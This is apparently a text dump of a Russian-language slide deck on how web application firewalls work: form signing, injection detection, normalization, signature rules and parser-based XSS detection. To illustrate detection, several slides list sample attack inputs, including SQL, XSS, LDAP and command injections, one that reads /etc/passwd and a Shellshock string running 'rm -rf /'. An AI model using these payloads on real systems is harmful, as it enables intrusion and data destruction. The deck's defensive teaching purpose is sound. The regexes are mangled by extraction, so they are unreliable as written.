    ЗаголовокМинута из жизниWAF POST /download?document_id=1123123&user_id=234123423&action_id=100 HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10
  • 133.
    ЗаголовокМинута из жизниWAF GET /delete_account HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 1 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close
  • 134.
    ЗаголовокМинута из жизниWAF GET /delete_account HTTP/1.1 Host: example.com Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: JSESSIONID=EAEC35B5E8741B4BA1524F25301A5E10 HTTP/1.1 200 OK X-XSS-Protection: 1 Content-Type: text/html; charset=utf-8 Date: Wed, 15 Jun 2016 12:34:25 GMT Content-Length: 26 Connection: close
  • 135.
  • 136.
    Заголовок • Аутентификация веб-форм •Обнаружение инъекций • Встроенное распознавание • Виртуальный патчинг Методы защиты
  • 137.
  • 138.
    ЗаголовокВ чем проблема? <html> <body> <formaction="update" method="POST"> <input type="hidden" name="price" value="100"> <input type="hidden" name="role" value="user"> <input type="text" name="quantity" value=""> <input type="text" name="email" value="user@myshop.com"> <input type="submit" value="Send"> </form> </body> </html> POST /update HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded price=100&role=user&quantity=1&email=user@myshop.com
  • 139.
    Заголовок • CSRF • SSRF •Injections (SQLi, XSS, LDAPi, …) • Access control attacks (IDOR) • Business logic attacks Форма одна, атак много…
  • 140.
  • 141.
    Заголовок «Подписи запросов» API •Yahoo, Amazon S3, Facebook ASP.NET Framework • Event Validation • View State MAC WAF • ModSecurity: HMAC Token Protection • F5 Networks ASM: Dynamic Content Value • Citrix NetScaler: Form Signature • PT AF: Form Signing Механизм защиты
  • 142.
    Заголовок Client ← Server:p, h(k, p) Client → Server: p', h(k, p) Server: h(k, p) = h(k, p') Параметры: • h – функция HMAC • p – значение параметра • k – секретный ключ сервера Элементарный протокол
  • 143.
    ЗаголовокЭлементарный протокол <html> <body> <form action="update"method="POST"> <input type="text" name="price" value="100"> <input type="submit" value="Send"> </form> </body> </html> POST /update HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded price=100
  • 144.
    Заголовок Содержание в формахбольшого количества полей Различное представление форм для различных клиентов Наличие в формах опциональных элементов • Checkbox • Option • Radio Идентификация защищаемых форм в HTTP-ответах Идентификация скрытых элементов форм в HTTP-запросах Ввод данных на стороне клиента Сложности на практике
  • 145.
    Заголовок Client ← Server:p, h(k, p) Client → Server: p', h(k, p) Server: h(k, p) = h(k, p') Как использовать этот протокол, если значение p формируется в браузере на основе ввода пользователя? Ввод данных на стороне клиента
  • 146.
    Заголовок Client ← Server:p, h(k, Tr(p, regex)) Client → Server: p', h(k, Tr(p, regex)) Server: h(k, Tr(p, regex)) = h(k, Tr(p', regex)) Параметры: • regex – валидирующее регулярное выражение для значения параметра • Tr(s, regex) – операция удаления из строки s подстрок, соответствующих regex • Tr("abc123", "[a-z]+" ) = "123" Валидирующее хэширование key string regex R HMAC of L(R)
  • 147.
    Заголовок 1. Построение AuthenticationBase String (ABS) • Method • URL • Идентификатор сессии • Параметры • Имя • [Значение] • [Тип] Метод вычисления токена
  • 148.
    Заголовок 2. Построение контейнеровформы • Контейнер скрытых полей - HFC HFC = {hp1_name, …, hpM_name} • Контейнер опциональных полей - OFC OFC = { {op1_name, op1_value1, …, op1_valueN1}, …, {opL_name, opL_value1, …, opL_valueNL} } Метод вычисления токена
  • 149.
    Заголовок 3. Вычисление подписи signature= HMAC(k, HFC · OFC · HMAC(k, ABS, time)) • k – секретный ключ • time – текущее значение времени Метод вычисления токена
  • 150.
    Заголовок 1. Парсинг входящегоHTTP-запроса 2. Проверка метода запроса 3. Проверка наличия токена 4. Для POST-запроса по полученному URL выполняется поиск политики 5. Если политика найдена, то распаковываются данные из токена 6. Проверка опциональных и скрытых полей, если они есть 7. Формирование ABS и его проверка Метод проверки токена
  • 151.
    Заголовок • Нельзя защититьформы, динамически сгенерированные на стороне клиента средствами JavaScript • Нельзя защитить формы, отправленные средствами JavaScript • Необходимо различать запросы, отправленные средствами веб-форм от запросов AJAX • Сложно защитить формы, отправляемые на сервер методом GET Ограничения метода
  • 152.
    Заголовок • Защита приложенияот анализа • Уменьшение поверхности атак на приложение • Противодействие средствам автоматизации • Предотвращение использования известных эксплойтов Результаты
  • 153.
    ЗаголовокПример: исходная форма <html> <body> <formaction="update" method="POST"> <input type="hidden" name="price" value="100"> <input type="hidden" name="role" value="user"> <input type="text" name="quantity" value="1"> <input type="text" name="email" value="user@myshop.com"> </form> </body> </html>
  • 154.
    ЗаголовокПример: описание языка <html> <body> <formaction="update" method="POST"> <input type="hidden" name="price" value="100"> <input type="hidden" name="role" value="user"> <input type="text" name="quantity" value="1"> <input type="text" name="email" value="user@myshop.com"> </form> </body> </html> Регулярный язык: d+
  • 155.
    ЗаголовокПример: генерация токена ABS= base64("#POST#/update#price:100:&role:user:&quantity::#") HFC = "#price#role" signature = HMAC(k, HFC · HMAC(k, ABS, time)) token = base64(HFC · signature · time)
  • 156.
    ЗаголовокПример: новая форма <html> <body> <formaction="update" method="POST"> <input type="hidden" name="price" value="100"> <input type="hidden" name="role" value="user"> <input type="text" name="quantity" value="1"> <input type="text" name="email" value="user@myshop.com"> <input type="hidden" name="token" value="2341234123…"> </form> </body> </html>
  • 157.
    ЗаголовокПример: аутентичный запрос POST/update HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=user&email=user@goodmail.com&token=2341234123…
  • 158.
    ЗаголовокПример: атака CSRF POST/delete HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=user&email=user@goodmail.com&token=
  • 159.
    ЗаголовокПример: атака повтора POST/admin/delete_account HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=43538475283745823748572345374527345 user=100001&token=2341234123…
  • 160.
    ЗаголовокПример: атака набизнес-логику POST /update HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=-100&quantity=2&role=user&email=user@goodmail.com&token=2341234123…
  • 161.
    ЗаголовокПример: атака HPP POST/update HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=user&price=-100&token=2341234123…
  • 162.
    ЗаголовокПример: атака IDOR POST/update HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=2&role=admin&email=user@goodmail.com&token=2341234123…
  • 163.
    ЗаголовокПример: атака XSS POST/update HTTP/1.1 Host: server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 price=100&quantity=<svg/onload=alert(1)>&role=user&token=2341234123…
  • 164.
  • 165.
    Заголовок Normalization Negative security model(Blacklisting) • Signature-based (regular expressions, text) • Rule-based • Syntax-based Positive security model (Whitelisting) • Static Profiling • Dynamic Profiling • Machine learning Механика обнаружения инъекций Web Application Firewall Evaluation Criteria
  • 166.
  • 167.
    Заголовок Алгоритм формирования выходныхданных DOUTPUT на основе входных данных DINPUT уязвим к атаке инъекции, если дерево разбора (parse tree) для DOUTPUT зависит от DINPUT Признак уязвимости к инъекции
  • 168.
    ЗаголовокПример http://example.com/foo.html#1 http://example.com/foo.html#1;alert(1); var input =location.hash.slice(1); document.write("<scr"+"ipt>var foo = "+ input +"; </scr"+"ipt>"); <script> var foo = 1;alert(1); <script> <script> var foo = 1; <script>
  • 169.
  • 170.
    Заголовок SQL: id=42' or1=1-- - HTML: 111"><a href = "//evil.com"> JavaScript: 1"; alert(document.domain);// Shell Command Injection: 192.168.10.1 && cat /etc/passwd LDAP Injection: admin)|((userpassword=*) XPath Injection: user' or name()='admin' or 'x'='y Shellshock: test () { :; }; rm –rf / Примеры инъекций
  • 171.
  • 172.
    Заголовок Нормализация – процесспреобразования данных к виду, понимаемому защищаемым веб-приложением Цель – устранение недостатка типа Differential Parsing Кодирование • URL decoding • Null-byte string termination • BASE64 decoding • HTML entities decoding • Double encoding Парсинг • URL Path • HTTP Parameters • Hostname Нормализация
  • 173.
    ЗаголовокПример GET /update?id=1+union+select+1/* HTTP/1.1 Host:server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475
  • 174.
    ЗаголовокПример GET /update?id=1;select+1&id=2,3# HTTP/1.1 Host:server.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Cookie: session=38475238453847523847523847583475238475 ASP.NET/IIS id = 1;SELECT 1,2,3 # PHP/Apache id = 2,3 #
  • 175.
  • 176.
  • 177.
  • 178.
    Заголовок Основные принципы нормализации •Приведение обрабатываемых данных к такому же формату и виду, к каким приведет его защищаемое веб-приложение • Эквивалентный парсинг T. Ptacek, T.Newsham. Insertaion, Evasion, and Denial of Service: Eluding Network Intrusion Detection. Secure Networks, Inc. 1998 Ivan Ristic. Protocol-Level Evasion of Web Application Firewalls Нормализация
  • 179.
  • 180.
    Заголовок Лексический подход (регулярныевыражения) Лексико-сигнатурный подход • Libinjection (Nick Galbreath) Синтаксический подход (parsing-based) • Dejector (Patterson, Hansen) • Libdetection (Wallarm) • Waf.js (Positive Technologies) • Indexed syntax graph (Shape Security) Negative Security Model
  • 181.
  • 182.
    Заголовок Использование регулярных выражений(конечных автоматов) для распознавания регулярного языка атак Имеется L – регулярный язык атак, заданный регулярными выражениями R Если входное слово принадлежит языку L, т. е. допускается регулярным выражением из R, то входное слово – атака Лексический подход
  • 183.
    ЗаголовокЛексический подход (?:/[^?/]+.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:;[^?/]*)??)|?.+=.*(?:(?:ActiveXObject|CreateObject|Exec)((?:"|')|((?:'| ")WScript.Shell) LDAP SearchFilter Injection (?:((?:W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)bW*?=|[^wx80-xFF]*?[!&|][^wx80- xFF]*?()|)[^wx80-xFF]*?([^wx80-xFF]*?[!&|]) Reflected File Download SSRF (gopher|jar|tftp|php|phar|ldap|dict|ssh2|file|ogg|expect|imap|pop3|smtp|telnet|mailto|zlib|rar|compress.zlib|glob|data):// (?i:(?:[;|`]W*?bcc|b(wget|curl))b|/cc(?:['"|;`-s]|$)) OS Command Injection SSI Injection <!--W*?#W*?(?:e(?:cho|xec)|printenv|include|cmd)
  • 184.
  • 185.
    ЗаголовокЛексический подход SQL Injection #Detect SQL Comment Sequences (/*!?|*/|[';]--|--[srnvf]|(?:--[^-]*?-)|([^-&])#.*?[srnvf]|;?x00) # SQL Hex Evasion Methods (?i:(?:A|[^d])0x[a-fd]{3,}[a-fd]*)+ # String Termination/Statement Ending Injection Testing (^["'`´’‘;]+|["'`´’‘;]+$) # SQL Operators (?i:(!=|&&||||>>|<<|>=|<=|<>|<=>|bxorb|brlikeb|bregexpb|bisnullb)|(?:nots+betweens+0s+and)|(?:iss+null)|(likes+ null)|(?:(?:^|W)in[+s]*([sd"]+[^()]*))|(?:bxorb|<>|rlike(?:s+binary)?)|(?:regexps+binary)) # SQL Tautologies (?i:([s'"`´’‘()]*?)b([dw]++)([s'"`´’‘()]*?)(?:(?:=|<=>|r?like|soundss+like|regexp)([s'"`´’‘()]*?)2b|(?:!=|<=|>=|<>|<|>|^|iss +not|nots+like|nots+regexp)([s'"`´’‘()]*?)(?!2)([dw]+)b)) # Detect DB Names (?i:(?:m(?:s(?:ysaccessobjects|ysaces|ysobjects|ysqueries|ysrelationships|ysaccessstorage|ysaccessxml|ysmodules|ysmodules2|db)|ast er..sysdatabases|ysql.db)|s(?:ys(?:.database_name|aux)|chema(?:W*(|_name)|qlite(_temp)?_master)|d(?:atabas|b_nam)eW*(| information_schema|pg_(catalog|toast)|northwind|tempdb))
  • 186.
    ЗаголовокЛексический подход SQL Injection (?i:b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_u ser|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4|ipv6|not_null|not|null|used_lock))?|n(?:et6?_ (aton|ntoa)|s(?:ert|tr)|terval)?|f(null)?)|u(?:n(?:compress(?:ed_length)?|ix_timestamp|hex)|tc_(date|time|timestamp)|p(?:datexml|per)|uid(_short)?|ca se|ser)|l(?:o(?:ca(?:l(timestamp)?|te)|g(2|10)?|ad_file|wer)|ast(_day|_insert_id)?|e(?:(?:as|f)t|ngth)|case|trim|pad|n)|t(?:ime(stamp|stampadd|stamp diff|diff|_format|_to_sec)?|o_(base64|days|seconds|n?char)|r(?:uncate|im)|an)|m(?:a(?:ke(?:_set|date)|ster_pos_wait|x)|i(?:(?:crosecon)?d|n(?:ute)?)| o(?:nth(name)?|d)|d5)|r(?:e(?:p(?:lace|eat)|lease_lock|verse)|o(?:w_count|und)|a(?:dians|nd)|ight|trim|pad)|f(?:i(?:eld(_in_set)?|nd_in_set)|rom_(bas e64|days|unixtime)|o(?:und_rows|rmat)|loor)|a(?:es_(?:de|en)crypt|s(?:cii(str)?|in)|dd(?:dat|tim)e|(?:co|b)s|tan2?|vg)|p(?:o(?:sition|w(er)?)|eriod_(ad d|diff)|rocedure_analyse|assword|i)|b(?:i(?:t_(?:length|count|x?or|and)|n(_to_num)?)|enchmark)|e(?:x(?:p(?:ort_set)?|tract(value)?)|nc(?:rypt|ode)|lt) |v(?:a(?:r(?:_(?:sam|po)p|iance)|lues)|ersion)|g(?:r(?:oup_conca|eates)t|et_(format|lock))|o(?:(?:ld_passwo)?rd|ct(et_length)?)|we(?:ek(day|ofyear)?|ig ht_string)|n(?:o(?:t_in|w)|ame_const|ullif)|(rawton?)?hex(toraw)?|qu(?:arter|ote)|(pg_)?sleep|year(week)?|d?count|xmltype|hour)W*(|b(?:(?:s(?:ele ctb(?:.{1,100}?b(?:(?:length|count|top)b.{1,100}?bfrom|fromb.{1,100}?bwhere)|.*?b(?:d(?:umpb.*bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p _(?:sqlexec|sp_replwritetovarbin|sp_help|addextendedproc|is_srvrolemember|prepare|sp_password|execute(?:sql)?|makewebtask|oacreate)|ql_(?:longv archar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|terminate|xp_servicecontrol|xp_nts ec_enumdomains|xp_terminate_process|e(?:xecresultset|numdsn)|availablemedia|loginconfig|cmdshell|filelist|dirtree|makecab|ntsec)|u(?:nionb.{1,10 0}?bselect|tl_(?:file|http))|d(?:b(?:a_users|ms_java)|eletebW*?bfrom)|groupb.*bbyb.{1,100}?bhaving|open(?:rowset|owa_util|query)|loadbW* ?bdatab.*binfile|(?:n?varcha|tbcreato)r|autonomous_transaction)b|i(?:n(?:tobW*?b(?:dump|out)file|sertbW*?binto|nerbW*?bjoin)b|(?:f(?: bW*?(W*?bbenchmark|nullb)|snullb)W*?()|printbW*?@@|castbW*?()|c(?:(?:ur(?:rent_(?:time(?:stamp)?|date|user)|(?:dat|tim)e)|h(?:ar( ?:(?:acter)?_length|set)?|r)|iel(?:ing)?|ast|r32)W*(|o(?:(?:n(?:v(?:ert(?:_tz)?)?|cat(?:_ws)?|nection_id)|(?:mpres)?s|ercibility|alesce|t)W*(|llationW* (a))|d(?:(?:a(?:t(?:e(?:(_(add|format|sub))?|diff)|abase)|y(name|ofmonth|ofweek|ofyear)?)|e(?:(?:s_(de|en)cryp|faul)t|grees|code)|ump)W*(|bms_ w+.b)|(?:;W*?b(?:shutdown|drop)|@@version)b|butl_inaddrb|bsys_contextb|'(?:s(?:qloledb|a)|msdasql|dbo)'))
  • 187.
    Заголовок Регулярные выражения –определение языка атак Правила – определение контекста и логики Правила • Условия • Ограничения • Контекст • Источники • Корреляции • Реакции Правила
  • 188.
    ЗаголовокПример правил CloudFlareWAF Anonymous Attack rule 1234567A Simple POST botnet REQUEST_METHOD is POST and REQUEST_URI is /q deny rule 12345679 Anonymous attack REQUEST_METHOD is GET and REQUEST_URI begins /?msg=Nous%20sommes%20Anonymous deny Simple POST Botnet
  • 189.
    ЗаголовокПример правил: NAXSI SQLinjection ## Hardcore rules MainRule "str:/*" "msg:mysql comment (/*)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:8" id:1003; MainRule "str:*/" "msg:mysql comment (*/)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:8" id:1004; MainRule "str:|" "msg:mysql keyword (|)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:8" id:1005; MainRule "str:&&" "msg:mysql keyword (&&)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:8" id:1006; ## end of hardcore rules MainRule "str:--" "msg:mysql comment (--)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:4" id:1007; MainRule "str:;" "msg:semicolon" "mz:BODY|URL|ARGS" "s:$SQL:4,$XSS:8" id:1008; MainRule "str:=" "msg:equal sign in var, probable sql/xss" "mz:ARGS|BODY" "s:$SQL:2" id:1009; MainRule "str:(" "msg:open parenthesis, probable sql/xss" "mz:ARGS|URL|BODY|$HEADERS_VAR:Cookie" "s:$SQL:4,$XSS:8" id:1010; MainRule "str:)" "msg:close parenthesis, probable sql/xss" "mz:ARGS|URL|BODY|$HEADERS_VAR:Cookie" "s:$SQL:4,$XSS:8" id:1011; MainRule "str:'" "msg:simple quote" "mz:ARGS|BODY|URL|$HEADERS_VAR:Cookie" "s:$SQL:4,$XSS:8" id:1013; MainRule "str:," "msg:comma" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:4" id:1015; MainRule "str:#" "msg:mysql comment (#)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:4" id:1016; MainRule "str:@@" "msg:double arobase (@@)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:4" id:1017;
  • 190.
    Заголовок • Использует бальнуюсистему (scoring) • Не использует сигнатуры Пример правил: NAXSI
  • 191.
    ЗаголовокПример правил: ModSecurity HeuristicChecks # # -=[ Heuristic Checks ]=- # # [ Repeatative Non-Word Chars ] # # This rule attempts to identify when multiple (4 or more) non-word characters are repeated in sequence # SecRule ARGS "W{4,}" "phase:2,capture,t:none,t:urlDecodeUni,block,id:'960024',rev:'2',ver:'OWASP_CRS/2.2.9',maturity:'9',ac curacy:'8',msg:'Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:'tx.msg=%{rule.msg}',setva r:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION-%{matched_var_name}=%{tx.0}"
  • 192.
    ЗаголовокПример правил: PTAF Reflected File Download { "rule": { "and": [ { "REQUEST_URI": { "regex": "(?:/[^?/]+.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:;[^?/]*)??)|?.+=.*(?:(?:ActiveXObject|CreateObject|Exec)((? :x22|')|((?:'|x22)WScript.Shell)" } }, { "RESPONSE_HEADERS;content-disposition": { "itext": "attachment" } } ] } }
  • 193.
  • 194.
    Заголовок Предложил Nick Galbreathв 2012 для обнаружения SQL-инъекций Позднее данный подход был адаптирован для обнаружения XSS Реализован в библиотеке libinjection Основные идеи • Токенизация в соответствии с универсальной грамматикой лексера в 3-х контекстах • Строится свертка токенов • Строка из первых пяти токенов ищется в базе сигнатур • База сигнатур строится по популярным векторам атак Лексико-сигнатурный подход
  • 195.
  • 196.
    ЗаголовокПример input = 42"or "1"="1" -- Context AS_IS = 42" or "1"="1" -- 1
  • 197.
    ЗаголовокПример input = 42"or "1"="1" -- Context AS_IS = 42" or "1"="1" -- 1 Токены ('1', '42'): number ('s', ' " or "'): string ('1', '1'): number ('s', ' "=" '): string ('1', '1'): number ('s', ' "--'): string
  • 198.
    ЗаголовокПример input = 42"or "1"="1" -- Context AS_IS = 42" or "1"="1" -- 1 ('1', '42'): number ('s', ' " or "'): string ('1', '1'): number ('s', ' "=" '): string ('1', '1'): number ('s', ' "--'): string Токены 1s1s1s Сигнатура
  • 199.
    ЗаголовокПример input = 42"or "1"="1" -- Context AS_IS = 42" or "1"="1" -- 1 ('1', '42'): number ('s', ' " or "'): string ('1', '1'): number ('s', ' "=" '): string ('1', '1'): number ('s', ' "--'): string Токены Сигнатура 1s1s1s
  • 200.
  • 201.
    ЗаголовокПример input = 42"or "1"="1" -- Context SINGLE_QUOTE = '42" or "1"="1" -- 2
  • 202.
    ЗаголовокПример input = 42"or "1"="1" -- Context SINGLE_QUOTE = '42" or "1"="1" -- 2 ('s', ' '42" or "1"="1" --'): string Токены
  • 203.
    ЗаголовокПример input = 42"or "1"="1" -- Context SINGLE_QUOTE = '42" or "1"="1" -- 2 ('s', ' '42" or "1"="1" --'): string Токены s Сигнатура
  • 204.
    ЗаголовокПример input = 42"or "1"="1" -- Context SINGLE_QUOTE = '42" or "1"="1" -- 2 ('s', ' '42" or "1"="1" --'): string Токены s Сигнатура
  • 205.
  • 206.
    ЗаголовокПример input = 42"or "1"="1" -- Context DOUBLE_QUOTES = "42" or "1"="1" -- 3
  • 207.
    ЗаголовокПример input = 42"or "1"="1" -- Context DOUBLE_QUOTES = "42" or "1"="1" -- 3 ('s', ' "42" '): string ('&', 'or'): logic operator ('s', ' "1" '): string ('o', '='): operator ('1', ' "1" '): string ('c', '--'): comment Токены
  • 208.
    ЗаголовокПример input = 42"or "1"="1" -- Context DOUBLE_QUOTES = "42" or "1"="1" -- 3 Токены s&sos Сигнатура ('s', ' "42" '): string ('&', 'or'): logic operator ('s', ' "1" '): string ('o', '='): operator ('1', ' "1" '): string ('c', '--'): comment
  • 209.
    ЗаголовокПример input = 42"or "1"="1" -- Context DOUBLE_QUOTES = "42" or "1"="1" -- 3 Токены s&sos Сигнатура ('s', ' "42" '): string ('&', 'or'): logic operator ('s', ' "1" '): string ('o', '='): operator ('1', ' "1" '): string ('c', '--'): comment
  • 210.
  • 211.
  • 212.
  • 213.
    Заголовок Ложные срабатывания • ifall else fails call grandma • "Dr. Who" and coffee • "SWEATER DRESS" AND "CHRISTMAS” Пропуски • Неизвестные токены • Неизвестные контексты Недостатки Ivan Novikov. How to bypass libinjection in many WAF/NGWAF Reto Ischi. An Alternative Approach for Real-life SQLi Detecion
  • 214.
  • 215.
  • 216.
    Заголовок Впервые применение парсеровдля обнаружения инъекций было описано в работе Роберта Хансена и Мередит Паттерсон Guns and Butter: Towards Formal Axioms of Input Validation для Black Hat 2005 Сontext-free parse tree validation • По известным запросам приложения грамматика для SQL преобразуется в грамматику для subSQL • По построенной грамматике генерируется парсер • Парсер subSQL распознает только цепочки подъязыка SQL этого приложения Robert J. Hansen, Meredith L. Patterson. Guns and Butter: Towards Formal Axioms of Input Validation Синтаксический подход
  • 217.
    Заголовок Ленивые – эвристическоеиспользование готовых парсеров • DOMPurify • DOMSanitizer Грамматические • libdetection (Wallarm) • libdejection (PT AF, DBFW) • libprotection (PT AI) В идеале необходимо использовать парсеры целевых компьютерных систем, для предотвращения уязвимостей типа parser differentials Новые методы
  • 218.
    Заголовок Строка s –инъекция для языка L(G), если в построенном дереве разбора s по грамматике G содержится хотя бы одна опасная инструкция • 11111 • alert(1) Базовая идея – с использованием готового парсера построить дерево разбора; если дерево разбора содержит запрещенные узлы-нетерминалы, то исходная строка является инъекцией Характеристики подхода • Возможность использования готовых парсеров • Универсальность • Эвристичность • Различимость парсеров Ленивый метод
  • 219.
    ЗаголовокПример: DOM-based XSS http://ex.com/foo.html#1 varinput = location.hash.slice(1); document.write("<scr"+"ipt>var foo = "+ input +";</scr"+"ipt>"); <script> var foo = 1; <script> Program ExpressionStatement Literal
  • 220.
    ЗаголовокПример: DOM-based XSS http://ex.com/foo.html#1;alert(1) varinput = location.hash.slice(1); document.write("<scr"+"ipt>var foo = "+ input +";</scr"+"ipt>"); <script> var foo = 1;alert(1); <script> Program ExpressionStatement Literal ExpressionStatement CallExpression Identifier Literal
  • 221.
    Заголовок Запрещенные нетерминалы (опасныеконструкции) в простейшем случае задаются перечнем типов узлов Для уменьшения числа ложных срабатываний могут быть использованы дополнительные проверки на основе родительских или дочерних узлов Что делать, когда дерево разбора не может быть построено? ""};alert(1);var f={t:" Поиск вредоносного кода
  • 222.
    Заголовок Вход: строка S,контекст CTX Выход: является ли S инъекцией в контексте CTX? 1. Построить tokens – список токенов s в CTX 2. Построить дерево разбора для S в CTX 3. Если в дереве есть запрещенные узлы, то S – инъекция 4. Иначе удалить из S следующий токен 5. Если S – непустая строка, то перейти на шаг 2 Метод поиска с левым приведением
  • 223.
    ЗаголовокAcorn Plugins function sanitize(dirty){ var acorn = require('acorn'), detected = false, tree ; acorn.plugins.detectCallExpression = function(parser) { parser.extend('finishNode', function(nextMethod) { return function(code, node) { if(node === 'CallExpression') { detected = true; } return nextMethod.call(this, code, node); } }) }; tree = acorn.parse(dirty, {plugins: {detectCallExpression: true}}); if (detected) { return 'xss'; } return dirty; } Acorn is designed support allow plugins which, within reasonable bounds, redefine the way the parser works. Plugins can add new token types and new tokenizer contexts (if necessary), and extend methods in the parser object
  • 224.
    ЗаголовокEsprima Syntax Delegate functionsanitize(dirty) { var esprima = require('esprima'), detected = false, tree; tree = esprima.parse(dirty, {}, function(node, meta) { if(node.type === 'CallExpression') { detected = true; } }); if (detected) { return 'xss'; } return dirty; } sanitize(';alert(1);var f={t:') // 'xss' A powerful feature available in Esprima since version 3.0 is the ability to invoke a callback function after every syntax node in the abstract syntax tree is created, often referred as the syntax delegate Ariya Hidayat. On-the-fly JavaScript Syntax Node Inspection.
  • 225.
    ЗаголовокПример nodes = {CallExpression} input= "});alert(1);var f=({t:" context = " 1
  • 226.
    ЗаголовокПример nodes = {CallExpression} input= "});alert(1);var f=({t:" context = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "} 2
  • 227.
    ЗаголовокПример nodes = {CallExpression} input= "});alert(1);var f=({t:" context = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "} vector = ""});alert(1);var f =({t:" parse(vector): Unexpected token (1:2) 3
  • 228.
    ЗаголовокПример nodes = {CallExpression} input= "});alert(1);var f=({t:" context = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "} vector = });alert(1);var f =({t:" parse(vector): Unexpected token (1:0) 4
  • 229.
    ЗаголовокПример nodes = {CallExpression} input= "});alert(1);var f=({t:" context = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "} vector = );alert(1);var f =({t:" parse(vector): Unexpected token (1:0) 5
  • 230.
    ЗаголовокПример nodes = {CallExpression} input= "});alert(1);var f=({t:" context = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "} vector = ;alert(1);var f =({t:" parse(vector): Program 6
  • 231.
  • 232.
